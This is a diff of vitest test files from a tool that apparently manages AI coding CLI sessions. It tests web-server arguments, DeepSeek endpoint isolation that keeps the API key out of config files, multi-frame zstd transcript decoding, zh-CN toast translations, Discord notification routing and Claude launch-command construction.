expect(exceedsSafeContextFloor(withContextVar, 131072, 4)).toBe(true);
expect(exceedsSafeContextFloor(withContextVar, 131072, 1)).toBe(false);
});
it('accepts exactly the floor per slot', () => {
expect(exceedsSafeContextFloor(withContextVar, CLAUDE_MIN_SAFE_CONTEXT_TOKENS * 4, 4)).toBe(false);
expect(exceedsSafeContextFloor(withContextVar, CLAUDE_MIN_SAFE_CONTEXT_TOKENS * 4 - 4, 4)).toBe(true);
});
it('never applies to a CLI that declares no context variable, whatever the slots', () => {
expect(exceedsSafeContextFloor(withoutContextVar, 4096, 8)).toBe(false);
});
});
+30
View File
@@ -30,6 +30,36 @@ async function closedPort(): Promise<number> {
}
describe('buildWebArgs', () => {
it('forwards the tunnel opt-in between the network and multi-user flags', () => {
const options = {
host: '0.0.0.0',
port: 8080,
https: true,
titleHostname: 'tower',
allowUnauthenticatedNetwork: true,
allowUnauthenticatedTunnel: true,
multiuser: true,
};
expect(buildWebArgs(options)).toEqual([
'web',
'--host',
'0.0.0.0',
'--port',
'8080',
'--https',
'--title-hostname',
'tower',
'--allow-unauthenticated-network',
'--allow-unauthenticated-tunnel',
'--multiuser',
]);
});
it.each([false, undefined])('omits the tunnel opt-in when it is %s', (allowUnauthenticatedTunnel) => {
const options = { host: '127.0.0.1', port: 8080, https: false, allowUnauthenticatedTunnel };
expect(buildWebArgs(options)).toEqual(['web', '--host', '127.0.0.1', '--port', '8080']);
});
it('always passes host and port through explicitly', () => {
expect(buildWebArgs({ host: '127.0.0.1', port: 3000, https: false })).toEqual([
'web',
+207
View File
@@ -0,0 +1,207 @@
import { existsSync, mkdirSync, mkdtempSync, readFileSync, readlinkSync, realpathSync, rmSync, statSync, writeFileSync } from 'node:fs';
import { homedir, tmpdir } from 'node:os';
import { join } from 'node:path';
import { afterEach, describe, expect, it, vi } from 'vitest';
import { getCli } from '../src/config/cli-registry/index.js';
import { buildCustomModelInjection } from '../src/custom-model-injection.js';
import {
applyCustomModelInjection,
removeConfigDir,
customModelConfigDir,
} from '../src/custom-model-injection-apply.js';
afterEach(() => {
removeConfigDir(customModelConfigDir('deepseek-probe'));
vi.unstubAllEnvs();
});
describe('DeepSeek custom endpoint isolation', () => {
it('uses the chosen model and limits without changing installed profiles or embedding the key', () => {
const realHome = join(homedir(), '.dsh');
const profile = join(realHome, 'profiles', 'dsh-tui');
mkdirSync(profile, { recursive: true });
mkdirSync(join(realHome, 'sessions'), { recursive: true });
writeFileSync(join(realHome, 'settings.yaml'), 'theme: dark');
const original = join(profile, 'cordis.patch.yml');
writeFileSync(original, 'original profile');
vi.stubEnv('DSH_HOME', realHome);
const entry = getCli('deepseek');
if (!entry) throw new Error('Missing DeepSeek entry');
const endpoint = { id: 'local', label: 'Local', baseUrl: 'http://box:8080', apiKey: 'private-probe-key' };
const applied = applyCustomModelInjection(entry, endpoint, 'chosen-model', 'deepseek-probe', 131072);
if (!applied?.configDir) throw new Error('Missing isolated profile');
const content = readFileSync(join(applied.configDir, 'cordis.patch.yml'), 'utf8');
expect(content).not.toContain(endpoint.apiKey);
// The dedicated key var, never DEEPSEEK_API_KEY: dsh's own llm-deepseek/web-search
// rows read that too, and an in-session /model switch back to the official route must
// not take the custom endpoint's key to api.deepseek.com with it.
expect(applied.envOverrides.CODEMAN_CUSTOM_MODEL_API_KEY).toBe(endpoint.apiKey);
expect(applied.envOverrides.DEEPSEEK_API_KEY).toBeUndefined();
const patch = JSON.parse(content);
const provider = patch.find((row: { id: string }) => row.id === 'llm-pi-ai').config.providers['codeman-custom'];
expect(provider.api).toBe('openai-completions');
expect(provider.baseURL).toBe('http://box:8080/v1');
expect(provider.models).toEqual([
{ id: 'chosen-model', name: 'chosen-model', contextWindow: 131072, maxTokens: 8192 },
]);
expect(patch.find((row: { id: string }) => row.id === 'dsh-tui').config).toEqual({
provider: 'codeman-custom',
model: 'chosen-model',
});
expect(realpathSync(join(applied.configDir, 'profiles'))).toBe(join(realHome, 'profiles'));
// The rest of the linkFromRealHome list, consumed generically: `sessions` is the
// transcript root removeConfigDir would otherwise delete, and the user's settings.yaml
// must keep applying through the redirect.
expect(realpathSync(join(applied.configDir, 'sessions'))).toBe(join(realHome, 'sessions'));
expect(realpathSync(join(applied.configDir, 'settings.yaml'))).toBe(join(realHome, 'settings.yaml'));
// Re-apply onto the same config dir (boot recovery re-runs this every restart): the
// lstat guard must skip every existing link, which the old existsSync check missed:
// recreating them would raise EEXIST.
const reapplied = applyCustomModelInjection(entry, endpoint, 'chosen-model', 'deepseek-probe', 131072);
expect(reapplied?.envOverrides.DSH_HOME).toBe(applied.configDir);
removeConfigDir(applied.configDir);
expect(readFileSync(original, 'utf8')).toBe('original profile');
});
it('creates missing directory targets before linking, skips a missing file target, stays fine on re-apply', () => {
// A fresh install (or relocated DSH_HOME) has never run a turn, so the real home
// carries none of the linked entries. Linking a missing DIRECTORY left a dangling
// symlink whose every write dsh attempts THROUGH it failed with ENOENT on EVERY turn,
// and the lstat guard kept that dangling link forever. Directories are now created
// (0700, what dsh itself does on a first turn) before linking; a missing FILE
// (`settings.yaml`) is simply skipped. A stubbed HOME and CODEMAN_DATA_DIR keep both
// the fake real home and the generated dir off the developer's own dotfiles.
const sandbox = mkdtempSync(join(tmpdir(), 'dsh-fresh-home-'));
const realHome = join(sandbox, '.dsh');
mkdirSync(realHome, { recursive: true }); // exists, but no sessions/, no profiles/, no settings.yaml
vi.stubEnv('HOME', sandbox);
vi.stubEnv('CODEMAN_DATA_DIR', join(sandbox, 'data'));
vi.stubEnv('DSH_HOME', ''); // force resolution down to the recipe's `realHomeFallback`
try {
const entry = getCli('deepseek');
if (!entry) throw new Error('Missing DeepSeek entry');
const endpoint = { id: 'local', label: 'Local', baseUrl: 'http://box:8080', apiKey: 'private-probe-key' };
const applied = applyCustomModelInjection(entry, endpoint, 'chosen-model', 'deepseek-probe', 131072);
if (!applied?.configDir) throw new Error('Missing isolated profile');
expect(realpathSync(join(applied.configDir, 'sessions'))).toBe(join(realHome, 'sessions'));
expect(realpathSync(join(applied.configDir, 'profiles'))).toBe(join(realHome, 'profiles'));
expect(statSync(join(realHome, 'sessions')).mode & 0o777).toBe(0o700);
// The missing FILE target is skipped outright, not a dangling link either: lstat
// must find nothing, so a later apply (once the file exists for real) links it.
expect(existsSync(join(realHome, 'settings.yaml'))).toBe(false);
expect(readlinkSafe(join(applied.configDir, 'settings.yaml'))).toBeUndefined();
// Re-apply stays fine (boot recovery re-runs it every restart): idempotent...
const reapplied = applyCustomModelInjection(entry, endpoint, 'chosen-model', 'deepseek-probe', 131072);
expect(reapplied?.envOverrides.DSH_HOME).toBe(applied.configDir);
// ...and a target deleted AFTER linking keeps the existing link untouched (the
// lstat guard), rather than recreating it and throwing EEXIST.
rmSync(join(realHome, 'sessions'), { recursive: true, force: true });
expect(
applyCustomModelInjection(entry, endpoint, 'chosen-model', 'deepseek-probe', 131072)?.envOverrides.DSH_HOME
).toBe(applied.configDir);
expect(readlinkSync(join(applied.configDir, 'sessions'))).toBe(join(realHome, 'sessions'));
} finally {
rmSync(sandbox, { recursive: true, force: true });
}
});
it('links from the SESSION-supplied DSH_HOME, not the server environment one', () => {
// Both web routes pass the session's own env-override lookup as the seventh
// argument; a user who relocated the dsh home via an allowlisted DSH_HOME
// override must get their state linked from THAT directory, not the server's.
const sandbox = mkdtempSync(join(tmpdir(), 'dsh-session-home-'));
const serverHome = join(sandbox, 'server-home');
const sessionHome = join(sandbox, 'session-home');
mkdirSync(join(sessionHome, 'sessions'), { recursive: true });
mkdirSync(join(sessionHome, 'profiles'), { recursive: true });
writeFileSync(join(sessionHome, 'settings.yaml'), 'theme: light');
vi.stubEnv('CODEMAN_DATA_DIR', join(sandbox, 'data'));
vi.stubEnv('DSH_HOME', serverHome);
try {
const entry = getCli('deepseek');
if (!entry) throw new Error('Missing DeepSeek entry');
const endpoint = { id: 'local', label: 'Local', baseUrl: 'http://box:8080', apiKey: 'private-probe-key' };
const applied = applyCustomModelInjection(
entry,
endpoint,
'chosen-model',
'deepseek-probe',
131072,
undefined,
(k) => (k === 'DSH_HOME' ? sessionHome : undefined)
);
if (!applied?.configDir) throw new Error('Missing isolated profile');
expect(realpathSync(join(applied.configDir, 'sessions'))).toBe(join(sessionHome, 'sessions'));
expect(realpathSync(join(applied.configDir, 'profiles'))).toBe(join(sessionHome, 'profiles'));
expect(realpathSync(join(applied.configDir, 'settings.yaml'))).toBe(join(sessionHome, 'settings.yaml'));
// The server-environment home was never consulted, let alone created.
expect(existsSync(serverHome)).toBe(false);
} finally {
rmSync(sandbox, { recursive: true, force: true });
}
});
it('never self-links when the session override IS its own config dir; falls through to the server home', () => {
// Boot recovery re-applies onto a session already holding a previous injection's
// DSH_HOME value; linking that value would point the isolated directory at itself.
const sandbox = mkdtempSync(join(tmpdir(), 'dsh-self-home-'));
const serverHome = join(sandbox, 'server-home');
mkdirSync(join(serverHome, 'sessions'), { recursive: true });
vi.stubEnv('CODEMAN_DATA_DIR', join(sandbox, 'data'));
vi.stubEnv('DSH_HOME', serverHome);
try {
const entry = getCli('deepseek');
if (!entry) throw new Error('Missing DeepSeek entry');
const endpoint = { id: 'local', label: 'Local', baseUrl: 'http://box:8080', apiKey: 'private-probe-key' };
const applied = applyCustomModelInjection(
entry,
endpoint,
'chosen-model',
'deepseek-probe',
131072,
undefined,
(k) => (k === 'DSH_HOME' ? customModelConfigDir('deepseek-probe') : undefined)
);
if (!applied?.configDir) throw new Error('Missing isolated profile');
expect(realpathSync(join(applied.configDir, 'sessions'))).toBe(join(serverHome, 'sessions'));
} finally {
rmSync(sandbox, { recursive: true, force: true });
}
});
it('skips a relative DSH_HOME rather than creating it under the server cwd', () => {
// A session may supply DSH_HOME; `work` would otherwise mkdir `work/sessions` in
// the SERVER's working directory and leave relative links that dangle (a relative
// home resolves against the CLI's cwd, which the server cannot know). Skipping it
// falls through to the recipe's `realHomeFallback`, and nothing is created under cwd.
const sandbox = mkdtempSync(join(tmpdir(), 'dsh-relative-home-'));
const fallbackHome = join(sandbox, '.dsh');
mkdirSync(fallbackHome, { recursive: true });
const relativeHome = `dsh-relative-probe-${process.pid}-${Date.now()}`;
vi.stubEnv('HOME', sandbox); // the fallback resolves under homedir()
vi.stubEnv('CODEMAN_DATA_DIR', join(sandbox, 'data'));
vi.stubEnv('DSH_HOME', relativeHome);
try {
const entry = getCli('deepseek');
if (!entry) throw new Error('Missing DeepSeek entry');
const endpoint = { id: 'local', label: 'Local', baseUrl: 'http://box:8080', apiKey: 'private-probe-key' };
const applied = applyCustomModelInjection(entry, endpoint, 'chosen-model', 'deepseek-probe', 131072);
if (!applied?.configDir) throw new Error('Missing isolated profile');
expect(existsSync(join(process.cwd(), relativeHome))).toBe(false);
expect(realpathSync(join(applied.configDir, 'sessions'))).toBe(join(fallbackHome, 'sessions'));
} finally {
rmSync(sandbox, { recursive: true, force: true });
}
});
});
/** readlinkSync without the throw an absent link causes (ENOENT -> undefined). */
function readlinkSafe(path: string): string | undefined {
try {
return readlinkSync(path);
} catch {
return undefined;
}
}
+5 -8
View File
@@ -4,10 +4,11 @@
* Two of these assertions exist because the obvious implementation was measured
* to be wrong against real files:
*
* - dsh appends ONE ZSTD FRAME PER WRITE, and Node's `zlib` zstd decoder stops
* at the first frame end. A 56-line transcript decoded as 1 line / 158 bytes,
* which reads as "the worker never answered" rather than as an error. The
* multi-frame fixtures below are the guard.
* - dsh appends ONE ZSTD FRAME PER WRITE, and Node's `zlib` zstd decoder
* before 24.22 and 26.10 stops at the first frame end. A 56-line transcript
* decoded as 1 line / 158 bytes, which reads as "the worker never answered"
* rather than as an error. Newer Node decodes every frame (nodejs/node#65865),
* so the multi-frame fixtures below pin the walker itself, not Node's decoder.
* - a fresh worker in a case directory that had been used before answered its
* first `last-response` with the PREVIOUS session's reply. Session-to-
* transcript pairing is therefore its own describe block.
@@ -67,10 +68,6 @@ describe.skipIf(!zstdSupported())('zstd frame walking', () => {
const lines = Array.from({ length: 40 }, (_, i) => JSON.stringify({ type: 'noise', seq: i }));
const buf = framed(lines);
// The one-shot decoder is what this module had to replace.
const oneShot = (zlib as unknown as { zstdDecompressSync?: (b: Buffer) => Buffer }).zstdDecompressSync!(buf);
expect(oneShot.toString('utf8').trim().split('\n')).toHaveLength(1);
expect(zstdFrameRanges(buf)).toHaveLength(40);
expect(decodeZstdFrames(buf).trim().split('\n')).toHaveLength(40);
});
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
+91
View File
@@ -0,0 +1,91 @@
/**
* @fileoverview zh-CN coverage for the toasts shown when a window could not be
* opened, and for the Codeman desktop app's own toasts.
*
* The literals are read from their sources: the transcript and detached
* preview toasts from panels-ui.js, and the desktop shim's toasts from
* packages/desktop/src/assets.rs (a Rust file whose strings reach Codeman's
* `showToast`), so a reworded toast on either side without an entry fails
* here. The download toasts carry a file name and go through the pattern
* rule, which must keep the name exactly as written.
*
* Port: N/A.
*/
import { readFileSync } from 'node:fs';
import { resolve } from 'node:path';
import vm from 'node:vm';
import { JSDOM } from 'jsdom';
import { afterAll, describe, expect, it } from 'vitest';
const PUBLIC = resolve(import.meta.dirname, '../src/web/public');
const read = (f: string) => readFileSync(resolve(PUBLIC, f), 'utf8');
const I18N = read('i18n.js');
const PANELS_UI = read('panels-ui.js');
const ASSETS_RS = readFileSync(resolve(import.meta.dirname, '../packages/desktop/src/assets.rs'), 'utf8');
type Api = { t(s: string): string; configure(o: Record<string, string>): void };
function translator(language: string) {
const dom = new JSDOM('<!doctype html><html><body></body></html>', {
runScripts: 'outside-only',
url: 'http://localhost/',
});
vm.runInContext(I18N, dom.getInternalVMContext(), { filename: 'i18n.js' });
const api = (dom.window as unknown as { CodemanI18n: Api }).CodemanI18n;
api.configure({ language });
return { api, dom };
}
const zh = translator('zh-CN');
const en = translator('en');
afterAll(() => {
zh.dom.window.close();
en.dom.window.close();
});
const panelToasts = [
...PANELS_UI.matchAll(/this\.showToast\('(Could not open the transcript window[^']*|Pop-up blocked[^']*)'/g),
].map((m) => m[1]);
// The shim's JavaScript may quote a literal either way.
const shimToasts = [...ASSETS_RS.matchAll(/showToast\((['"])([^'"]+)\1/g)].map((m) => m[2]);
const downloadTemplates = [...ASSETS_RS.matchAll(/format!\("([^"]*\{file_name\}[^"]*)"\)/g)].map((m) => m[1]);
// File names with spaces, dots, brackets and English words, one of them a
// dictionary word on its own ("Settings saved"), which must not be translated.
const FILE_NAMES = ['report v2.pdf', 'Settings saved', 'a (1).tar.gz', '数据.csv'];
describe('the window and desktop toasts in zh-CN', () => {
it('finds the strings it checks (the check is not vacuous)', () => {
expect(new Set(panelToasts)).toEqual(
new Set([
'Could not open the transcript window: pop-up windows are blocked here',
'Pop-up blocked: allow pop-ups for this site to detach previews',
])
);
expect(new Set(shimToasts)).toEqual(new Set(['Could not open a new window']));
expect(new Set(downloadTemplates)).toEqual(
new Set(['Downloaded {file_name} to Downloads', 'Download of {file_name} failed'])
);
});
it('every literal toast translates, and reads the same in English', () => {
const bad = [...panelToasts, ...shimToasts].filter((l) => {
const text = zh.api.t(l);
return text === l || /[A-Za-z]/.test(text) || en.api.t(l) !== l;
});
expect(bad).toEqual([]);
});
it('the download toasts translate around the file name, which stays as written', () => {
for (const template of downloadTemplates) {
for (const name of FILE_NAMES) {
const source = template.replace('{file_name}', name);
const text = zh.api.t(source);
expect(text, source).not.toBe(source);
expect(text.split(name), source).toHaveLength(2);
expect(text.replace(name, ''), source).not.toMatch(/[A-Za-z]/);
expect(en.api.t(source)).toBe(source);
}
}
expect(zh.api.t('Downloaded report v2.pdf to Downloads')).toBe('已将 report v2.pdf 下载到“下载”文件夹');
expect(zh.api.t('Download of report v2.pdf failed')).toBe('下载 report v2.pdf 失败');
});
});
File diff suppressed because it is too large. Load diff
+208
View File
@@ -0,0 +1,208 @@
// @vitest-environment node
/**
* @fileoverview The glue between WebServer and the Discord bridge: alerts reach it even with no
* Web Push subscription (with the rendered screen as the tail), and tab events reach it routed by
* kind. The bridge and routes are tested on their own; this pins the lines that make the feature
* exist. A real WebServer, never started, with the bridge replaced by a recorder.
*
* Port: N/A (no server start).
*/
import { beforeEach, describe, expect, it, vi } from 'vitest';
const { sendNotification } = vi.hoisted(() => ({ sendNotification: vi.fn(async () => undefined) }));
vi.mock('web-push', () => ({
default: { sendNotification, setVapidDetails: vi.fn(), generateVAPIDKeys: vi.fn() },
}));
import { WebServer } from '../src/web/server.js';
import { SseEvent } from '../src/web/sse-events.js';
type Internals = {
pushStore: { getAll: () => never[]; dispose: () => void };
discordBridge: Record<string, ReturnType<typeof vi.fn>>;
sessions: Map<string, unknown>;
mux: { capturePaneText?: (name: string) => string | null };
lastResponseFor?: (session: unknown, context?: string) => Promise<{ text: string }>;
sendPushNotifications: (event: string, data: Record<string, unknown>) => Promise<void>;
broadcast: (event: string, data: unknown) => void;
cleanupSession: (id: string, killMux?: boolean, reason?: string) => Promise<void>;
discardPartiallyBuiltSession: (id: string) => Promise<void>;
};
function server(): Internals {
const s = new WebServer(0, false, true, '127.0.0.1', 'box') as unknown as Internals;
s.pushStore = { getAll: () => [], dispose: () => undefined };
s.discordBridge = {
notify: vi.fn(async () => null),
sessionCreated: vi.fn(async () => undefined),
sessionRenamed: vi.fn(async () => undefined),
sessionDeleted: vi.fn(async () => undefined),
forgetTab: vi.fn(),
stop: vi.fn(),
};
return s;
}
beforeEach(() => sendNotification.mockClear());
describe('bridge deps', () => {
it('agentExited is true only for a session whose pane exit was observed', () => {
const s = new WebServer(0, false, true, '127.0.0.1', 'box') as unknown as Internals & {
discordBridge: { deps: { agentExited: (id: string) => boolean } };
};
s.sessions.set('dead', { paneExit: { observedAt: 1 } });
s.sessions.set('alive', {});
const { agentExited } = s.discordBridge.deps;
expect(agentExited('dead')).toBe(true);
expect(agentExited('alive')).toBe(false);
expect(agentExited('missing')).toBe(false);
});
it("types a reply as the person's own input, so it can name the tab", async () => {
const s = new WebServer(0, false, true, '127.0.0.1', 'box') as unknown as Internals & {
discordBridge: { deps: { sendInput: (id: string, text: string) => Promise<boolean> } };
};
const writeViaMux = vi.fn(async () => true);
s.sessions.set('s1', { writeViaMux });
expect(await s.discordBridge.deps.sendInput('s1', 'yes\r')).toBe(true);
expect(writeViaMux).toHaveBeenCalledWith('yes\r', { fromUser: true });
expect(await s.discordBridge.deps.sendInput('missing', 'yes\r')).toBe(false);
});
});
describe('sendPushNotifications -> Discord', () => {
it('posts a permission prompt with zero push subscriptions, with the rendered screen as the tail', async () => {
const s = server();
s.sessions.set('s1', { muxName: 'codeman-s1', textOutput: '', mode: 'claude' });
const capture = vi.fn(() => 'Which option?\n──────────\n 1. Cap GPUs\n\n 2. Cap CPU\n');
s.mux = { capturePaneText: capture };
await s.sendPushNotifications('hook:permission_prompt', {
sessionId: 's1',
sessionName: 'w1-app',
tool_name: 'Bash',
});
expect(s.discordBridge.notify).toHaveBeenCalledTimes(1);
const msg = s.discordBridge.notify.mock.calls[0][0];
expect(msg).toMatchObject({
event: 'hook:permission_prompt',
title: 'Permission Required',
body: '[w1-app] Tool: Bash',
urgency: 'critical',
sessionId: 's1',
sessionName: 'w1-app',
});
// A function, so the screen is read (a synchronous tmux exec) only once the bridge will post.
expect(typeof msg.tail).toBe('function');
expect(capture).not.toHaveBeenCalled();
expect(msg.tail()).toBe('Which option?\n 1. Cap GPUs\n 2. Cap CPU');
expect(capture).toHaveBeenCalledTimes(1);
expect(sendNotification).not.toHaveBeenCalled();
});
it('reads the whole last message from the transcript on a finished turn, and keeps the screen for a dialog', async () => {
const s = server();
s.sessions.set('s5', { muxName: 'codeman-s5', textOutput: '', mode: 'claude' });
const reader = vi.fn(async () => ({ text: 'The full answer.\n\n- one\n- two', timestamp: '2026-10-30T00:00:00Z' }));
s.lastResponseFor = reader;
s.mux = { capturePaneText: () => 'screen\n❯\n status' };
await s.sendPushNotifications('hook:idle_prompt', { sessionId: 's5', sessionName: 'w5' });
const idle = s.discordBridge.notify.mock.calls[0][0];
expect(await idle.fullText()).toEqual({
text: 'The full answer.\n\n- one\n- two',
version: '2026-10-30T00:00:00Z',
});
expect(idle.tail()).toBe('screen'); // the composer row and the status under it are cut
await s.sendPushNotifications('hook:permission_prompt', { sessionId: 's5', sessionName: 'w5' });
const dialog = s.discordBridge.notify.mock.calls[1][0];
expect(dialog.fullText).toBeUndefined();
expect(dialog.tail()).toBe('screen\n❯\n status');
});
it.each(['claude', 'codex', 'opencode', 'gemini', 'antigravity', 'pi', 'grok', 'deepseek', 'omp', 'copilot'])(
'a finished turn in a %s tab posts the whole last message',
async (mode) => {
const s = server();
s.sessions.set('s6', { muxName: 'codeman-s6', textOutput: '', mode });
s.lastResponseFor = vi.fn(async () => ({ text: '1. First?\n2. Second?\n3. Third?' }));
s.mux = { capturePaneText: () => 'screen' };
await s.sendPushNotifications('hook:idle_prompt', { sessionId: 's6', sessionName: 'w6' });
const msg = s.discordBridge.notify.mock.calls[0][0];
expect((await msg.fullText()).text).toBe('1. First?\n2. Second?\n3. Third?');
}
);
it('a shell tab has no turns, so it keeps the screen tail', async () => {
const s = server();
s.sessions.set('s7', { muxName: 'codeman-s7', textOutput: '', mode: 'shell' });
s.lastResponseFor = vi.fn(async () => ({ text: 'x' }));
s.mux = { capturePaneText: () => 'prompt$' };
await s.sendPushNotifications('hook:idle_prompt', { sessionId: 's7', sessionName: 'w7' });
const msg = s.discordBridge.notify.mock.calls[0][0];
expect(await msg.fullText()).toBeUndefined();
expect(msg.tail()).toBe('prompt$');
});
it('falls back to plain text output when there is no tmux pane, and to no tail for an unknown session', async () => {
const s = server();
s.sessions.set('s2', { muxName: null, textOutput: 'plain answer\n', mode: 'claude' });
await s.sendPushNotifications('hook:idle_prompt', { sessionId: 's2', sessionName: 'w2' });
expect(s.discordBridge.notify.mock.calls[0][0].tail()).toBe('plain answer');
await s.sendPushNotifications('hook:idle_prompt', { sessionId: 'gone', sessionName: 'w3' });
expect(s.discordBridge.notify.mock.calls[1][0].tail).toBeUndefined();
});
it('sends nothing for an event Web Push does not carry', async () => {
const s = server();
await s.sendPushNotifications('session:created', { sessionId: 's1', sessionName: 'w1' });
expect(s.discordBridge.notify).not.toHaveBeenCalled();
});
});
describe('broadcast -> Discord tab lifecycle', () => {
it('routes created, updated and deleted by kind, reading both payload shapes', () => {
const s = server();
s.broadcast(SseEvent.SessionCreated, { session: { id: 's1', name: 'w1', createdAt: 123 } });
expect(s.discordBridge.sessionCreated).toHaveBeenCalledWith('s1', 'w1');
s.broadcast(SseEvent.SessionUpdated, { id: 's1', name: 'renamed' });
expect(s.discordBridge.sessionRenamed).toHaveBeenCalledWith('s1', 'renamed');
});
it('does not touch the thread on session:deleted, which a detach also fires', () => {
const s = server();
s.broadcast(SseEvent.SessionDeleted, { id: 's1' });
expect(s.discordBridge.sessionDeleted).not.toHaveBeenCalled();
});
it('tells the bridge about a real delete (killMux true) but not a detach (killMux false)', async () => {
const s = server();
await s.cleanupSession('gone', false);
expect(s.discordBridge.sessionDeleted).not.toHaveBeenCalled();
await s.cleanupSession('gone', true);
expect(s.discordBridge.sessionDeleted).toHaveBeenCalledWith('gone');
});
it('a discarded half-built session clears the per-tab state but keeps its thread', async () => {
const s = server();
s.sessions.set('rebuild', {
owner: 'u',
ralphTracker: { stopWatchingFixPlan: () => undefined, fullReset: () => undefined },
removeAllListeners: () => undefined,
stop: async () => undefined,
});
await s.discardPartiallyBuiltSession('rebuild');
expect(s.discordBridge.forgetTab).toHaveBeenCalledWith('rebuild');
expect(s.discordBridge.sessionDeleted).not.toHaveBeenCalled();
});
it('ignores an event with no session id', () => {
const s = server();
s.broadcast(SseEvent.SessionUpdated, {});
expect(s.discordBridge.sessionRenamed).not.toHaveBeenCalled();
});
it('closes the bridge when the server stops', async () => {
const s = server();
await (s as unknown as { stop: () => Promise<void> }).stop();
expect(s.discordBridge.stop).toHaveBeenCalledTimes(1);
});
});
+82
View File
@@ -0,0 +1,82 @@
// @vitest-environment node
/**
* @fileoverview The Discord startup hint reaches Claude as `--append-system-prompt`, only while the
* bridge and its `startupHint` setting are on, and never changes a launch that does not use it.
*/
import { mkdtempSync, rmSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import { afterEach, beforeEach, describe, expect, it } from 'vitest';
import { getCli } from '../src/config/cli-registry/registry.js';
import { buildSpawnCommandFromRegistry } from '../src/session-cli-registry-bridge.js';
import {
DiscordBridge,
DISCORD_STARTUP_HINT,
getDiscordStartupHint,
writeDiscordConfig,
DEFAULT_DISCORD_CONFIG,
} from '../src/discord-bridge.js';
const SID = '0f9c2b14-1111-2222-3333-444455556666';
const BASE = 'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666"';
function launch(mode: 'claude' | 'codex'): string | undefined {
return buildSpawnCommandFromRegistry(getCli(mode)!, { mode, sessionId: SID, claudeCliVersion: null });
}
let dir: string;
beforeEach(() => {
dir = mkdtempSync(join(tmpdir(), 'discord-hint-'));
});
afterEach(() => rmSync(dir, { recursive: true, force: true }));
function bridge() {
return new DiscordBridge({
configDir: dir,
fetchImpl: async () => new Response('{}'),
sendInput: async () => true,
socketFactory: () => ({ send() {}, close() {}, on() {} }),
});
}
describe('startup hint on the Claude launch', () => {
it('is absent by default, so a launch is byte-identical to before', () => {
expect(getDiscordStartupHint()).toBeUndefined();
expect(launch('claude')).toBe(BASE);
});
it('is appended, single-quoted, while the bridge is on', async () => {
await writeDiscordConfig(dir, {
...DEFAULT_DISCORD_CONFIG,
enabled: true,
token: 'tok',
guildId: '111111111111111111',
parentChannelId: '222222222222222222',
allowedUserIds: ['333333333333333333'],
});
const b = bridge();
await b.reload();
expect(getDiscordStartupHint()).toBe(DISCORD_STARTUP_HINT);
expect(launch('claude')).toBe(`${BASE} --append-system-prompt '${DISCORD_STARTUP_HINT}'`);
expect(DISCORD_STARTUP_HINT).not.toContain("'");
expect(launch('codex')).not.toContain('append-system-prompt');
b.stop();
expect(launch('claude')).toBe(BASE);
});
it('is absent when startupHint is switched off', async () => {
await writeDiscordConfig(dir, {
...DEFAULT_DISCORD_CONFIG,
enabled: true,
token: 'tok',
guildId: '111111111111111111',
parentChannelId: '222222222222222222',
allowedUserIds: ['333333333333333333'],
startupHint: false,
});
const b = bridge();
await b.reload();
expect(launch('claude')).toBe(BASE);
b.stop();
});
});
+21 -7
View File
@@ -218,8 +218,15 @@ describe('adopted container: the host is not required to have the CLI', () => {
expect(src.match(/if \(mode === '[a-z]+' && !cliDir\)/g)).toBeNull();
});
it('derives the flag from the docker metadata the session already carries', () => {
expect(src).toContain('const cliRunsInContainer = !!docker;');
it('derives the flag from the location metadata the session already carries', () => {
// Adoption joined the condition for the same reason docker is in it: an
// adopted session's CLI was started by a human in a process Codeman never
// spawned, so the host binary is irrelevant there too, and demanding it
// would reject adopting a claude that lives in a container, on an ssh host,
// or simply outside the server process's PATH (the systemd/launchd case).
// What the assertion still pins is that the flag comes from the session's
// OWN metadata rather than from anything ambient.
expect(src).toContain('const cliRunsInContainer = !!docker || !!adopt;');
});
});
@@ -299,8 +306,8 @@ describe('adopted container: run modes come from the CONTAINER, not the host', (
* exactly what happened twice: a comment added above the assertion pushed the
* asserted line past the cutoff and CI failed on a test that was still true.
*/
const refreshFn = (src) => {
const start = src.indexOf('_refreshRunModeAvailability(menu) {');
const methodFn = (src, signature) => {
const start = src.indexOf(signature);
expect(start).toBeGreaterThan(-1);
const open = src.indexOf('{', start);
let depth = 0;
@@ -308,23 +315,30 @@ describe('adopted container: run modes come from the CONTAINER, not the host', (
if (src[i] === '{') depth++;
else if (src[i] === '}' && --depth === 0) return src.slice(start, i + 1);
}
throw new Error('unbalanced braces in _refreshRunModeAvailability');
throw new Error(`unbalanced braces in ${signature}`);
};
// The per-mode decision lives in ONE helper, shared by the Run menu and the
// Cmd+K new-session row (panels-ui.js), so the two cannot drift apart.
const ruleFn = (src) => methodFn(src, '_runModeAvailableForCase(mode, caseName) {');
it('gates a docker case on availableModes instead of host CLI probes', () => {
// The sandbox host had codex but no claude while the adopted container had
// claude and no codex; gating on the host hid the only mode that worked.
const fn = refreshFn(ui);
const fn = ruleFn(ui);
expect(fn).toContain("location === 'docker'");
expect(fn).toContain('availableModes');
// Non-docker cases must keep the original host probe (#201).
expect(fn).toContain('this.isCliAvailable(mode)');
// And the Run menu asks that helper rather than keeping its own copy.
expect(methodFn(ui, '_refreshRunModeAvailability(menu) {')).toContain(
'this._runModeAvailableForCase(mode, caseName)'
);
});
it('leaves an owned container ungated when nothing was probed', () => {
// Our base image ships every CLI, so an absent list means "unknown", and
// treating unknown as "nothing available" would empty the menu.
expect(refreshFn(ui)).toMatch(/containerModes \?[^:]*:\s*true/);
expect(ruleFn(ui)).toMatch(/containerModes \?[^:]*:\s*true/);
});
});
+1 -1
View File
@@ -128,7 +128,7 @@ describe('docker server image divergence is declared, not accidental', () => {
// untouched by this change because two other open PRs already modify it. Asserting the
// omissions here makes the divergence reviewable without editing the file: if someone adds
// a CLI there, or the intent changes, this fails and the list has to be restated.
const SERVER_INTENTIONAL_OMISSIONS = new Set(['antigravity', 'pi', 'grok', 'deepseek', 'omp']);
const SERVER_INTENTIONAL_OMISSIONS = new Set(['antigravity', 'pi', 'grok', 'deepseek', 'omp', 'copilot']);
it('installs exactly the CLIs it declares, and no more', () => {
for (const entry of enabledAgents) {
+16 -1
View File
@@ -26,7 +26,7 @@
*/
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
import { readFileSync, mkdtempSync, rmSync, writeFileSync, mkdirSync } from 'node:fs';
import { readFileSync, mkdtempSync, rmSync, writeFileSync, mkdirSync, chownSync } from 'node:fs';
import { execFileSync } from 'node:child_process';
